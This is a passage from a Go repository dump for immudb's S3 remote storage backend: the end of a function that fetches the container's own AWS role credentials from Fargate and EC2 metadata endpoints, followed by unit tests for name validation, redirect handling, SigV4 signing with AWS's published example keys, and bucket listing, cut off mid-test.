Fargate credentials\n\n\t\tconst fargateMetadataEndpoint = \"http://169.254.170.2\"\n\n\t\tfargateCredentialsRelativeURI := os.Getenv(\"AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\")\n\t\tif fargateCredentialsRelativeURI == \"\" {\n\t\t\treturn \"\", \"\", \"\", errors.New(\"environment variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI is not set or empty\")\n\t\t}\n\t\tfargateCredentialsURL := fargateMetadataEndpoint + fargateCredentialsRelativeURI\n\n\t\tfargateReq, err := http.NewRequest(\"GET\", fargateCredentialsURL, nil)\n\t\tif err != nil {\n\t\t\treturn \"\", \"\", \"\", errors.New(\"cannot form fargate credentials request\")\n\t\t}\n\n\t\tfargateResp, err := http.DefaultClient.Do(fargateReq)\n\t\tif err != nil {\n\t\t\treturn \"\", \"\", \"\", errors.New(\"cannot get fargate credentials\")\n\t\t}\n\t\tdefer fargateResp.Body.Close()\n\n\t\tcreds, err := io.ReadAll(fargateResp.Body)\n\t\tif err != nil {\n\t\t\treturn \"\", \"\", \"\", errors.New(\"cannot read fargate credentials\")\n\t\t}\n\n\t\tvar credentials struct {\n\t\t\tAccessKeyID     string `json:\"AccessKeyId\"`\n\t\t\tSecretAccessKey string `json:\"SecretAccessKey\"`\n\t\t\tSessionToken    string `json:\"Token\"`\n\t\t}\n\t\tif err := json.Unmarshal(creds, &credentials); err != nil {\n\t\t\treturn \"\", \"\", \"\", errors.New(\"cannot parse fargate credentials\")\n\t\t}\n\n\t\treturn credentials.AccessKeyID, credentials.SecretAccessKey, credentials.SessionToken, nil\n\t}\n\n\ttokenReq, err := http.NewRequest(\"PUT\", fmt.Sprintf(\"%s%s\",\n\t\ts.awsInstanceMetadataURL,\n\t\t\"/latest/api/token\",\n\t), nil)\n\tif err != nil {\n\t\treturn \"\", \"\", \"\", errors.New(\"cannot form metadata token request\")\n\t}\n\n\ttokenReq.Header.Set(\"X-aws-ec2-metadata-token-ttl-seconds\", \"21600\")\n\n\ttokenResp, err := http.DefaultClient.Do(tokenReq)\n\tif err != nil {\n\t\treturn \"\", \"\", \"\",  errors.New(\"cannot get metadata token\")\n\t}\n\tdefer tokenResp.Body.Close()\n\n\ttoken, err := ioutil.ReadAll(tokenResp.Body)\n\tif err != nil {\n\t\treturn \"\", \"\", \"\", errors.New(\"cannot read metadata token\")\n\t}\n\n\trole := s.s3Role\n\tif s.s3Role == \"\" {\n\t\troleReq, err := http.NewRequest(\"GET\", fmt.Sprintf(\"%s%s\",\n\t\t\ts.awsInstanceMetadataURL,\n\t\t\t\"/latest/meta-data/iam/info\",\n\t\t), nil)\n\t\tif err != nil {\n\t\t\treturn \"\", \"\", \"\", errors.New(\"cannot form role name request\")\n\t\t}\n\n\t\troleReq.Header.Set(\"X-aws-ec2-metadata-token\", string(token))\n\t\troleResp, err := http.DefaultClient.Do(roleReq)\n\t\tif err != nil {\n\t\t\treturn \"\", \"\", \"\", errors.New(\"cannot get role name\")\n\t\t}\n\t\tdefer roleResp.Body.Close()\n\n\t\tcreds, err := ioutil.ReadAll(roleResp.Body)\n\t\tif err != nil {\n\t\t\treturn \"\", \"\", \"\", errors.New(\"cannot read role name\")\n\t\t}\n\n\t\tvar metadata struct {\n\t\t\tInstanceProfileArn string `json:\"InstanceProfileArn\"`\n\t\t}\n\t\tif err := json.Unmarshal(creds, &metadata); err != nil {\n\t\t\treturn \"\", \"\", \"\", errors.New(\"cannot parse role name\")\n\t\t}\n\n\t\tmatch := arnRoleRegex.FindStringSubmatch(metadata.InstanceProfileArn)\n\t\tif len(match) < 2 {\n\t\t\treturn \"\", \"\", \"\", ErrCredentialsCannotBeFound\n\t\t}\n\n\t\trole = match[1]\n\t}\n\n\tcredsReq, err := http.NewRequest(\"GET\", fmt.Sprintf(\"%s%s/%s\",\n\t\ts.awsInstanceMetadataURL,\n\t\t\"/latest/meta-data/iam/security-credentials\",\n\t\trole,\n\t), nil)\n\tif err != nil {\n\t\treturn \"\", \"\", \"\", errors.New(\"cannot form role credentials request\")\n\t}\n\n\tcredsReq.Header.Set(\"X-aws-ec2-metadata-token\", string(token))\n\tcredsResp, err := http.DefaultClient.Do(credsReq)\n\tif err != nil {\n\t\treturn \"\", \"\", \"\", errors.New(\"cannot get role credentials\")\n\t}\n\tdefer credsResp.Body.Close()\n\n\tcreds, err := ioutil.ReadAll(credsResp.Body)\n\tif err != nil {\n\t\treturn \"\", \"\", \"\", errors.New(\"cannot read role credentials\")\n\t}\n\n\tvar credentials struct {\n\t\t\tAccessKeyID     string `json:\"AccessKeyId\"`\n\t\t\tSecretAccessKey string `json:\"SecretAccessKey\"`\n\t\t\tSessionToken    string `json:\"Token\"`\n\t}\n\tif err := json.Unmarshal(creds, &credentials); err != nil {\n\t\treturn \"\", \"\", \"\", errors.New(\"cannot parse role credentials\")\n\t}\n\n\treturn credentials.AccessKeyID, credentials.SecretAccessKey, credentials.SessionToken, nil\n}\n\nvar _ remotestorage.Storage = (*Storage)(nil)\n"
  },
  {
    "path": "embedded/remotestorage/s3/s3_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage s3\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io/fs\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestOpen(t *testing.T) {\n\ts, err := Open(\n\t\t\"http://localhost:9000\",\n\t\tfalse,\n\t\t\"\",\n\t\t\"minioadmin\",\n\t\t\"minioadmin\",\n\t\t\"immudb\",\n\t\t\"\",\n\t\t\"prefix\",\n\t\t\"\",\n\t\tfalse,\n\t)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, s)\n\trequire.Equal(t, \"s3\", s.Kind())\n\trequire.Equal(t, \"s3:http://localhost:9000/immudb/prefix/\", s.String())\n}\n\nfunc TestValidateName(t *testing.T) {\n\tfor _, d := range []struct {\n\t\tname     string\n\t\tisFolder bool\n\t\terr      error\n\t}{\n\t\t{\"\", false, nil},\n\t\t{\"\", true, nil},\n\t\t{\"test\", false, nil},\n\t\t{\"test/\", true, nil},\n\t\t{\"test/name\", false, nil},\n\t\t{\"test/name/\", true, nil},\n\t\t{\"/test\", false, ErrInvalidArgumentsNameStartSlash},\n\t\t{\"/test\", true, ErrInvalidArgumentsNameStartSlash},\n\t\t{\"test/\", false, ErrInvalidArgumentsNameEndSlash},\n\t\t{\"test\", true, ErrInvalidArgumentsPathNoEndSlash},\n\t\t{\"test//name\", false, ErrInvalidArgumentsInvalidName},\n\t\t{\"test/./name\", false, ErrInvalidArgumentsInvalidName},\n\t\t{\"test/../test\", false, ErrInvalidArgumentsInvalidName},\n\t\t{\"./test\", false, ErrInvalidArgumentsInvalidName},\n\t\t{\"../test\", false, ErrInvalidArgumentsInvalidName},\n\t} {\n\t\tt.Run(fmt.Sprintf(\"%+v\", d), func(t *testing.T) {\n\t\t\ts := Storage{}\n\t\t\terr := s.validateName(d.name, d.isFolder)\n\t\t\trequire.ErrorIs(t, err, d.err)\n\t\t})\n\t}\n}\n\nfunc TestCornerCases(t *testing.T) {\n\tt.Run(\"bucket name can not be empty\", func(t *testing.T) {\n\t\ts, err := Open(\n\t\t\t\"http://localhost:9000\",\n\t\t\tfalse,\n\t\t\t\"\",\n\t\t\t\"minioadmin\",\n\t\t\t\"minioadmin\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\tfalse,\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrInvalidArguments)\n\t\trequire.ErrorIs(t, err, ErrInvalidArgumentsBucketEmpty)\n\t\trequire.Nil(t, s)\n\t})\n\n\tt.Run(\"bucket name can not contain /\", func(t *testing.T) {\n\t\ts, err := Open(\n\t\t\t\"http://localhost:9000\",\n\t\t\tfalse,\n\t\t\t\"\",\n\t\t\t\"minioadmin\",\n\t\t\t\"minioadmin\",\n\t\t\t\"immudb/test\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\tfalse,\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrInvalidArguments)\n\t\trequire.ErrorIs(t, err, ErrInvalidArgumentsBucketSlash)\n\t\trequire.Nil(t, s)\n\t})\n\n\tt.Run(\"prefix must be correctly normalized\", func(t *testing.T) {\n\t\ts, err := Open(\n\t\t\t\"http://localhost:9000\",\n\t\t\tfalse,\n\t\t\t\"\",\n\t\t\t\"minioadmin\",\n\t\t\t\"minioadmin\",\n\t\t\t\"immudb\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\tfalse,\n\t\t)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"\", s.(*Storage).prefix)\n\n\t\ts, err = Open(\n\t\t\t\"http://localhost:9000\",\n\t\t\tfalse,\n\t\t\t\"\",\n\t\t\t\"minioadmin\",\n\t\t\t\"minioadmin\",\n\t\t\t\"immudb\",\n\t\t\t\"\",\n\t\t\t\"/test/\",\n\t\t\t\"\",\n\t\t\tfalse,\n\t\t)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"test/\", s.(*Storage).prefix)\n\n\t\ts, err = Open(\n\t\t\t\"http://localhost:9000\",\n\t\t\tfalse,\n\t\t\t\"\",\n\t\t\t\"minioadmin\",\n\t\t\t\"minioadmin\",\n\t\t\t\"immudb\",\n\t\t\t\"\",\n\t\t\t\"/test\",\n\t\t\t\"\",\n\t\t\tfalse,\n\t\t)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"test/\", s.(*Storage).prefix)\n\t})\n\n\tt.Run(\"invalid url\", func(t *testing.T) {\n\t\ts, err := Open(\n\t\t\t\"h**s://localhost:9000\",\n\t\t\tfalse,\n\t\t\t\"\",\n\t\t\t\"minioadmin\",\n\t\t\t\"minioadmin\",\n\t\t\t\"bucket\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\tfalse,\n\t\t)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"s3(misconfigured)\", s.String())\n\t})\n\n\tt.Run(\"invalid get / put / exists path\", func(t *testing.T) {\n\t\ts, err := Open(\n\t\t\t\"htts://localhost:9000\",\n\t\t\tfalse,\n\t\t\t\"\",\n\t\t\t\"minioadmin\",\n\t\t\t\"minioadmin\",\n\t\t\t\"bucket\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\tfalse,\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = s.Get(context.Background(), \"/file\", 0, -1)\n\t\trequire.ErrorIs(t, err, ErrInvalidArguments)\n\t\trequire.ErrorIs(t, err, ErrInvalidArgumentsNameStartSlash)\n\n\t\terr = s.Put(context.Background(), \"/file\", \"/tmp/test.txt\")\n\t\trequire.ErrorIs(t, err, ErrInvalidArguments)\n\t\trequire.ErrorIs(t, err, ErrInvalidArgumentsNameStartSlash)\n\n\t\t_, err = s.Exists(context.Background(), \"/file\")\n\t\trequire.ErrorIs(t, err, ErrInvalidArguments)\n\t\trequire.ErrorIs(t, err, ErrInvalidArgumentsNameStartSlash)\n\t})\n\n\tt.Run(\"invalid get offset / size\", func(t *testing.T) {\n\t\ts, err := Open(\n\t\t\t\"htts://localhost:9000\",\n\t\t\tfalse,\n\t\t\t\"\",\n\t\t\t\"minioadmin\",\n\t\t\t\"minioadmin\",\n\t\t\t\"bucket\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\tfalse,\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = s.Get(context.Background(), \"file\", 0, 0)\n\t\trequire.ErrorIs(t, err, ErrInvalidArguments)\n\t\trequire.ErrorIs(t, err, ErrInvalidArgumentsOffsSize)\n\t})\n\n\tt.Run(\"invalid role and credentials settings\", func(t *testing.T) {\n\t\ts, err := Open(\n\t\t\t\"htts://localhost:9000\",\n\t\t\ttrue,\n\t\t\t\"role\",\n\t\t\t\"minioadmin\",\n\t\t\t\"minioadmin\",\n\t\t\t\"bucket\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\tfalse,\n\t\t)\n\t\trequire.Error(t, err)\n\t\trequire.Nil(t, s)\n\t})\n\n\tt.Run(\"invalid list path\", func(t *testing.T) {\n\t\ts, err := Open(\n\t\t\t\"https://localhost:9000\",\n\t\t\tfalse,\n\t\t\t\"\",\n\t\t\t\"minioadmin\",\n\t\t\t\"minioadmin\",\n\t\t\t\"bucket\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\tfalse,\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = s.ListEntries(context.Background(), \"prefix-no-slash\")\n\t\trequire.ErrorIs(t, err, ErrInvalidArguments)\n\n\t\t_, _, err = s.ListEntries(context.Background(), \"prefix-double-slash//\")\n\t\trequire.ErrorIs(t, err, ErrInvalidArguments)\n\t})\n\n\tt.Run(\"invalid http status code from the server\", func(t *testing.T) {\n\t\tts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\thttp.Error(w, \"test error\", http.StatusInternalServerError)\n\t\t}))\n\t\tdefer ts.Close()\n\n\t\ts, err := Open(ts.URL, false, \"\", \"\", \"\", \"bucket\", \"\", \"\", \"\", false)\n\t\trequire.NoError(t, err)\n\n\t\tctx := context.Background()\n\n\t\t_, err = s.Get(ctx, \"object1\", 0, -1)\n\t\trequire.ErrorIs(t, err, ErrInvalidResponse)\n\t})\n\n\tt.Run(\"invalid upload file path\", func(t *testing.T) {\n\t\tts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\trequire.Fail(t, \"Should not call the server\")\n\t\t}))\n\t\tdefer ts.Close()\n\n\t\ts, err := Open(ts.URL, false, \"\", \"\", \"\", \"bucket\", \"\", \"\", \"\", false)\n\t\trequire.NoError(t, err)\n\n\t\tctx := context.Background()\n\n\t\terr = s.Put(ctx, \"object1\", \"/invalid/file/path/that/does/not/exist\")\n\t\trequire.IsType(t, &fs.PathError{}, err)\n\t})\n}\n\nfunc TestSignatureV4(t *testing.T) {\n\t// Example request available at:\n\t//  https://docs.aws.amazon.com/AmazonS3/latest/API/sig-v4-header-based-auth.html\n\ts, err := Open(\n\t\t\"https://examplebucket.s3.amazonaws.com\",\n\t\tfalse,\n\t\t\"\",\n\t\t\"AKIAIOSFODNN7EXAMPLE\",\n\t\t\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n\t\t\"examplebucket\",\n\t\t\"us-east-1\",\n\t\t\"\",\n\t\t\"\",\n\t\tfalse,\n\t)\n\trequire.NoError(t, err)\n\n\tst := s.(*Storage)\n\n\turl, err := st.originalRequestURL(\"test.txt\")\n\trequire.NoError(t, err)\n\n\treq, err := st.s3SignedRequestV4(\n\t\tcontext.Background(),\n\t\turl,\n\t\t\"GET\",\n\t\tnil,\n\t\t\"\",\n\t\t\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\n\t\tfunc(req *http.Request) error {\n\t\t\treq.Header.Add(\"Range\", \"bytes=0-9\")\n\t\t\treturn nil\n\t\t},\n\t\ttime.Date(2013, 5, 24, 0, 0, 0, 0, time.UTC),\n\t)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, req)\n\n\trequire.Equal(t,\n\t\t\"AWS4-HMAC-SHA256 \"+\n\t\t\t\"Credential=AKIAIOSFODNN7EXAMPLE/20130524/us-east-1/s3/aws4_request,\"+\n\t\t\t\"SignedHeaders=host;range;x-amz-content-sha256;x-amz-date,\"+\n\t\t\t\"Signature=f0e8bdb87c964420e857bd35b5d6ed310bd44f0170aba48dd91039c6036bdb41\",\n\t\treq.Header.Get(\"Authorization\"),\n\t)\n}\n\nfunc TestHandlingRedirects(t *testing.T) {\n\tts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\n\t\tswitch r.URL.Path {\n\t\tcase \"/bucket/object1\":\n\t\t\trequire.Equal(t, \"GET\", r.Method)\n\t\t\thttp.Redirect(w, r, \"/bucket/object2\", http.StatusSeeOther)\n\n\t\tcase \"/bucket/object2\":\n\t\t\trequire.Equal(t, \"GET\", r.Method)\n\t\t\thttp.Redirect(w, r, \"/bucket/object3\", http.StatusPermanentRedirect)\n\n\t\tcase \"/bucket/object3\":\n\t\t\trequire.Equal(t, \"GET\", r.Method)\n\n\t\t\t_, err := w.Write([]byte(\"Hello world\"))\n\t\t\trequire.NoError(t, err)\n\n\t\tcase \"/bucket/object4\":\n\t\t\trequire.Equal(t, \"GET\", r.Method)\n\t\t\thttp.Redirect(w, r, \"/bucket/object4\", http.StatusTemporaryRedirect)\n\n\t\tcase \"/bucket/object5\":\n\t\t\trequire.Equal(t, \"GET\", r.Method)\n\t\t\thttp.Redirect(w, r, \"h**p://invalid\", http.StatusSeeOther)\n\n\t\tcase \"/bucket/object6\":\n\t\t\trequire.Equal(t, \"GET\", r.Method)\n\t\t\thttp.Redirect(w, r, \"h**p://invalid\", http.StatusTemporaryRedirect)\n\n\t\tcase \"/bucket/object7\":\n\t\t\trequire.Equal(t, \"PUT\", r.Method)\n\t\t\thttp.Redirect(w, r, \"h**p://invalid\", http.StatusSeeOther)\n\n\t\tcase \"/bucket/object8\":\n\t\t\trequire.Equal(t, \"PUT\", r.Method)\n\t\t\thttp.Redirect(w, r, \"h**p://invalid\", http.StatusTemporaryRedirect)\n\n\t\tdefault:\n\t\t\trequire.Fail(t, \"Unknown request\")\n\t\t}\n\n\t}))\n\tdefer ts.Close()\n\n\ts, err := Open(ts.URL, false, \"\", \"\", \"\", \"bucket\", \"\", \"\", \"\", false)\n\trequire.NoError(t, err)\n\n\tctx := context.Background()\n\n\tt.Run(\"open bucket with redirects\", func(t *testing.T) {\n\n\t\tio, err := s.Get(ctx, \"object1\", 0, -1)\n\t\trequire.NoError(t, err)\n\n\t\tb, err := ioutil.ReadAll(io)\n\t\trequire.NoError(t, err)\n\n\t\terr = io.Close()\n\t\trequire.NoError(t, err)\n\n\t\trequire.Equal(t, []byte(\"Hello world\"), b)\n\t})\n\n\tt.Run(\"detect infinite redirect loop\", func(t *testing.T) {\n\t\t_, err := s.Get(ctx, \"object4\", 0, -1)\n\t\trequire.ErrorIs(t, err, ErrTooManyRedirects)\n\t})\n\n\tt.Run(\"error getting 303 redirect\", func(t *testing.T) {\n\t\t_, err := s.Get(ctx, \"object5\", 0, -1)\n\t\trequire.ErrorIs(t, err, ErrInvalidResponse)\n\t\trequire.Contains(t, err.Error(), \"failed to parse Location header\")\n\t})\n\n\tt.Run(\"error getting 307 redirect\", func(t *testing.T) {\n\t\t_, err := s.Get(ctx, \"object6\", 0, -1)\n\t\trequire.ErrorIs(t, err, ErrInvalidResponse)\n\t\trequire.Contains(t, err.Error(), \"failed to parse Location header\")\n\t})\n\n\tt.Run(\"error getting 303 redirect while PUT request\", func(t *testing.T) {\n\t\tfl, err := ioutil.TempFile(\"\", \"\")\n\t\trequire.NoError(t, err)\n\t\tfmt.Fprintf(fl, \"Hello world\")\n\t\tfl.Close()\n\t\tdefer os.Remove(fl.Name())\n\n\t\terr = s.Put(ctx, \"object7\", fl.Name())\n\t\trequire.ErrorIs(t, err, ErrInvalidResponse)\n\t\trequire.Contains(t, err.Error(), \"failed to parse Location header\")\n\t})\n\n\tt.Run(\"error getting 307 redirect\", func(t *testing.T) {\n\t\tfl, err := ioutil.TempFile(\"\", \"\")\n\t\trequire.NoError(t, err)\n\t\tfmt.Fprintf(fl, \"Hello world\")\n\t\tfl.Close()\n\t\tdefer os.Remove(fl.Name())\n\n\t\terr = s.Put(ctx, \"object8\", fl.Name())\n\t\trequire.ErrorIs(t, err, ErrInvalidResponse)\n\t\trequire.Contains(t, err.Error(), \"failed to parse Location header\")\n\t})\n}\n\nfunc TestListEntries(t *testing.T) {\n\tts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\trequire.Equal(t, \"/bucket/\", r.URL.Path)\n\n\t\tswitch r.URL.Query().Get(\"prefix\") {\n\t\tcase \"path1/\":\n\t\t\tw.Write([]byte(`\n\t\t\t\t<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\t\t\t\t<ListBucketResult xmlns=\"http://s3.amazonaws.com/doc/2006-03-01/\">\n\t\t\t\t\t<IsTruncated>false</IsTruncated>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path1/ExampleObject1.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path1/ExampleObject2.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>path1/photos1/</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>path1/photos2/</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t</ListBucketResult>\n\t\t\t`))\n\n\t\tcase \"path2/\":\n\t\t\tw.Write([]byte(`\n\t\t\t\t< this is not a valid xml >\n\t\t\t`))\n\n\t\tcase \"path3/\":\n\t\t\tw.Write([]byte(`\n\t\t\t\t<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\t\t\t\t<ListBucketResult xmlns=\"http://s3.amazonaws.com/doc/2006-03-01/\">\n\t\t\t\t\t<IsTruncated>false</IsTruncated>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path3/ExampleObject2.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path3/ExampleObject1.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>path3/photos1/</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>path3/photos2/</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t</ListBucketResult>\n\t\t\t`))\n\n\t\tcase \"path4/\":\n\t\t\tw.Write([]byte(`\n\t\t\t\t<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\t\t\t\t<ListBucketResult xmlns=\"http://s3.amazonaws.com/doc/2006-03-01/\">\n\t\t\t\t\t<IsTruncated>false</IsTruncated>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path4/ExampleObject1.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path4/ExampleObject2.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>path4/photos2/</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>path4/photos1/</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t</ListBucketResult>\n\t\t\t`))\n\n\t\tcase \"path5/\":\n\t\t\tw.Write([]byte(`\n\t\t\t\t<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\t\t\t\t<ListBucketResult xmlns=\"http://s3.amazonaws.com/doc/2006-03-01/\">\n\t\t\t\t\t<IsTruncated>false</IsTruncated>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path5/ExampleObject1.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path5/ExampleObject2.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>invalid-prefix/photos1/</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>invalid-prefix/photos2/</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t</ListBucketResult>\n\t\t\t`))\n\n\t\tcase \"path6/\":\n\t\t\tw.Write([]byte(`\n\t\t\t\t<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\t\t\t\t<ListBucketResult xmlns=\"http://s3.amazonaws.com/doc/2006-03-01/\">\n\t\t\t\t\t<IsTruncated>false</IsTruncated>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path6/ExampleObject1.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path6/ExampleObject2.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>path6/photos1</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>path6/photos2</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t</ListBucketResult>\n\t\t\t`))\n\n\t\tcase \"path7/\":\n\t\t\tw.Write([]byte(`\n\t\t\t\t<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\t\t\t\t<ListBucketResult xmlns=\"http://s3.amazonaws.com/doc/2006-03-01/\">\n\t\t\t\t\t<IsTruncated>false</IsTruncated>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path7/ExampleObject1.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path7/ExampleObject2.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>path7/photos1/</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>path7/../photos2/</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t</ListBucketResult>\n\t\t\t`))\n\n\t\tcase \"path8/\":\n\t\t\tswitch r.URL.Query().Get(\"continuation-token\") {\n\t\t\tcase \"\":\n\t\t\t\tw.Write([]byte(`\n\t\t\t\t\t<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\t\t\t\t\t<ListBucketResult xmlns=\"http://s3.amazonaws.com/doc/2006-03-01/\">\n\t\t\t\t\t\t<IsTruncated>true</IsTruncated>\n\t\t\t\t\t\t<NextContinuationToken>cont-token</NextContinuationToken>\n\t\t\t\t\t\t<Contents>\n\t\t\t\t\t\t\t<Key>path8/ExampleObject1.txt</Key>\n\t\t\t\t\t\t</Contents>\n\t\t\t\t\t\t<Contents>\n\t\t\t\t\t\t\t<Key>path8/ExampleObject2.txt</Key>\n\t\t\t\t\t\t</Contents>\n\t\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t\t<Prefix>path8/photos1/</Prefix>\n\t\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t\t<Prefix>path8/photos2/</Prefix>\n\t\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t\t</ListBucketResult>\n\t\t\t\t`))\n\t\t\tcase \"cont-token\":\n\t\t\t\tw.Write([]byte(`\n\t\t\t\t\t<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\t\t\t\t\t<ListBucketResult xmlns=\"http://s3.amazonaws.com/doc/2006-03-01/\">\n\t\t\t\t\t\t<IsTruncated>false</IsTruncated>\n\t\t\t\t\t\t<Contents>\n\t\t\t\t\t\t\t<Key>path8/ExampleObject3.txt</Key>\n\t\t\t\t\t\t</Contents>\n\t\t\t\t\t\t<Contents>\n\t\t\t\t\t\t\t<Key>path8/ExampleObject4.txt</Key>\n\t\t\t\t\t\t</Contents>\n\t\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t\t<Prefix>path8/photos3/</Prefix>\n\t\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t\t<Prefix>path8/photos4/</Prefix>\n\t\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t\t</ListBucketResult>\n\t\t\t\t`))\n\t\t\tdefault:\n\t\t\t\trequire.Fail(t, \"invalid continuation token\")\n\t\t\t}\n\n\t\tcase \"path9/\":\n\t\t\tw.Write([]byte(`\n\t\t\t\t<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\t\t\t\t<ListBucketResult xmlns=\"http://s3.amazonaws.com/doc/2006-03-01/\">\n\t\t\t\t\t<IsTruncated>false</IsTruncated>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>ExampleObject1.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path9/ExampleObject2.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>path9/photos1/</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>path9/photos2/</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t</ListBucketResult>\n\t\t\t`))\n\n\t\tcase \"path10/\":\n\t\t\tw.Write([]byte(`\n\t\t\t\t<?xml 